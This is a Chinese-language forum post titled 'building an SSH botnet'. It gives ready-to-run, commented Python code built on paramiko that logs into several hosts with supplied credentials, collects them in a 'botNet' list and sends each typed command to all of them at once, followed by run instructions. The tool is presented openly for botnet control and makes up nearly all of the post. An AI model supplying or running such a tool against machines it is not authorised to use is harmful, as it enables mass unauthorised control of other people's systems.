构建SSH僵尸网络

[复制链接]
发表于 2025-12-24 15:27:20 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
  1. import argparse
  2. import paramiko
  3. # 定义一个名为Client的类,用于表示SSH客户端相关操作
  4. class Client:
  5.     # 类的初始化方法,接收主机地址、用户名和密码作为参数
  6.     def __init__(self, host, user, password):
  7.         self.host = host
  8.         self.user = user
  9.         self.password = password
  10.         # 创建一个paramiko的SSHClient实例,用于后续的SSH连接操作
  11.         self.client = paramiko.SSHClient()
  12.         # 设置自动添加主机密钥策略,避免出现未知主机密钥时连接失败
  13.         self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  14.         # 调用连接方法,尝试建立SSH连接
  15.         self.connect()
  16.     # 定义连接方法,用于建立到指定主机的SSH连接
  17.     def connect(self):
  18.         try:
  19.             # 使用提供的主机、用户名和密码进行SSH连接
  20.             self.client.connect(self.host, username=self.user, password=self.password)
  21.             print(f"[+] Connected to {self.host}")
  22.         except Exception as e:
  23.             print(f"[-] Error connecting to {self.host}: {e}")
  24.     # 用于在已连接的SSH会话上执行命令,并返回命令的输出结果
  25.     def send_command(self, cmd):
  26.         # 在SSH会话上执行命令,获取标准输入、标准输出和标准错误输出流
  27.         stdin, stdout, stderr = self.client.exec_command(cmd)
  28.         # 读取标准输出内容,并使用utf-8编码将字节数据转换为字符串
  29.         output = stdout.read().decode('utf-8')
  30.         # 读取标准错误输出内容,并进行同样的编码转换
  31.         error = stderr.read().decode('utf-8')
  32.         if error:
  33.             print(f"[-] Error executing command on {self.host}: {error}")
  34.         return output
  35.     # 类方法,用于向所有已添加到botNet列表中的客户端发送相同命令,并收集结果
  36.     @classmethod
  37.     def botnet_command(cls, command):
  38.         results = []
  39.         # 遍历botNet列表中的每个客户端实例
  40.         for client in cls.botNet:
  41.             # 在每个客户端上执行命令,并获取输出结果
  42.             output = client.send_command(command)
  43.             # 将客户端的主机地址和对应的命令输出结果作为元组添加到results列表中
  44.             results.append((client.host, output))
  45.         return results
  46.     # 类方法,用于向botNet列表中添加一个新的客户端实例
  47.     @classmethod
  48.     def add_client(cls, host, user, password):
  49.         client = cls(host, user, password)
  50.         cls.botNet.append(client)
  51.     # 类方法,用于关闭所有已添加到botNet列表中的客户端的SSH连接
  52.     @classmethod
  53.     def close_all_connections(cls):
  54.         for client in cls.botNet:
  55.             client.client.close()
  56.             print(f"[+] Connection to {client.host} closed")
  57. # 初始化一个空的botNet列表,用于存储所有的客户端实例
  58. Client.botNet = []
  59. def main():
  60.     # 创建一个命令行参数解析器对象,用于解析用户输入的命令行参数
  61.     parser = argparse.ArgumentParser(description='SSH Botnet Client')
  62.     # 添加一个名为--host的命令行参数,可接收多个值,用于指定要连接的主机地址
  63.     parser.add_argument('--host', nargs='+', help='Host(s) to connect to')
  64.     # 添加一个名为--user的命令行参数,可接收多个值,用于指定SSH连接的用户名
  65.     parser.add_argument('--user', nargs='+', help='Username(s) for SSH connection')
  66.     # 添加一个名为--password的命令行参数,可接收多个值,用于指定SSH连接的密码
  67.     parser.add_argument('--password', nargs='+', help='Password(s) for SSH connection')
  68.     args = parser.parse_args()
  69.     # 检查是否缺少必要的命令行参数,如果缺少则报错
  70.     if not args.host or not args.user or not args.password:
  71.         parser.error('Missing required arguments')
  72.     # 检查主机地址、用户名和密码的数量是否一致,如果不一致则报错
  73.     if len(args.host)!= len(args.user) or len(args.host)!= len(args.password):
  74.         parser.error('The number of hosts, users, and passwords must be the same')
  75.     # 通过循环,为每个主机地址、用户名和密码的组合创建一个Client实例,并添加到botNet列表中
  76.     for host, user, password in zip(args.host, args.user, args.password):
  77.         Client.add_client(host, user, password)
  78.     print("Connected to all hosts. Enter 'exit' to quit.")
  79.     while True:
  80.         command = input("Enter command: ")
  81.         if command.lower() == 'exit':
  82.             break
  83.         results = Client.botnet_command(command)
  84.         for host, output in results:
  85.             print(f"Output from {host}:")
  86.             print(output)
  87.     # 关闭所有已添加的客户端的SSH连接
  88.     Client.close_all_connections()
  89. if __name__ == '__main__':
  90.     main()
复制代码
  1. 运行方法:
  2. 第一种:终端控制:python your_script.py --host IP1 IP2 --user user1 user2 --password password1 password2
复制代码

输出效果:


 
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表